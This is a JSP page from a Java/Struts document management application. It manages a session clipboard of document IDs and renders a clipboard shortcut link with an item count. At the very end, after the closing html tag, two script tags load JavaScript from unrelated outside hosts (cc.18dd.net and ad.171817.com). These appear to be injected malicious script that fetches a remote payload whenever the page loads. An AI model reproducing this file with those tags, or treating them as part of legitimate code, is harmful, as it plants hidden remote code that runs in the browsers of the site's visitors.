<%@ page contentType="text/html;charset=UTF-8" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="java.util.*" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-tiles" prefix="tiles" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  ArrayList clipboardList = (ArrayList)session.getAttribute("DMS_CLIPBOARD");

  String curFunctionCode = request.getParameter("cur_function_code");

  if (clipboardList == null) {
    clipboardList = new ArrayList();
  }
  if (request.getParameter("idAry") != null) {
    String[] idAry = TextUtility.splitString(request.getParameter("idAry"), ",");
    for (int i = 0; i < idAry.length; i++) {
      if ("delete".equals(request.getParameter("opMode"))) {
        if (clipboardList.contains(new Integer(idAry[i]))) {
          clipboardList.remove(clipboardList.indexOf(new Integer(idAry[i])));
        }
      } else {
        if (!clipboardList.contains(new Integer(idAry[i]))) {
          clipboardList.add(new Integer(idAry[i]));
        }
      }
    }
  }

  session.setAttribute("DMS_CLIPBOARD", clipboardList);
  int itemNo = clipboardList.size();
%>
<html>
<head>
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/common.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/menu.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/HomeLeftMenu.css" charset="UTF-8" type="text/css" rel="stylesheet">

</head>
<body style="background-color:transparent;">
<%
  if ("HOM".equals(curFunctionCode)) {
%>
  <div class="shortcutItemClipboard">
    <%if(itemNo>0){%>
      <a href="#" onClick="return parent.OpenCenteredPopup('<%=request.getContextPath()%>/dms/ListDmsClipboard.do', 'DCIVisionClipboard', 780, 560, 'status=no,menubar=no,scrollbars=yes,resizable=no,toolbar=no')">
        <div class="shortcutName">
          <bean:message key='dms.label.clipboard'/> (<%=itemNo%>)
        </div>
      </a>
    <%}else{%>
      <a href="javascript:void(0);" style="cursor:default">
        <div class="shortcutName">
          <bean:message key='dms.label.clipboard'/> (<%=itemNo%>)
        </div>
      </a>
    <%}%>
  </div>
<%
  }else{  
%>
  <div class="commonShortcutWrapper">
    <html:img style="padding-top:1px;float:left" src="IconClipbox.gif" />
    <%if(itemNo>0){%>
      <a href="#" onClick="return parent.OpenCenteredPopup('<%=request.getContextPath()%>/dms/ListDmsClipboard.do', 'DCIVisionClipboard', 780, 560, 'status=no,menubar=no,scrollbars=yes,resizable=no,toolbar=no')">
        <%=itemNo%> <bean:message key='dms.label.clipped_item'/>
      </a>
    <%}else{%>
      <a href="javascript:void(0);" style="cursor:default">
        <%=itemNo%> <bean:message key='dms.label.clipped_item'/>
      </a>
    <%}%>
  </div>
<%
  }  
%>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>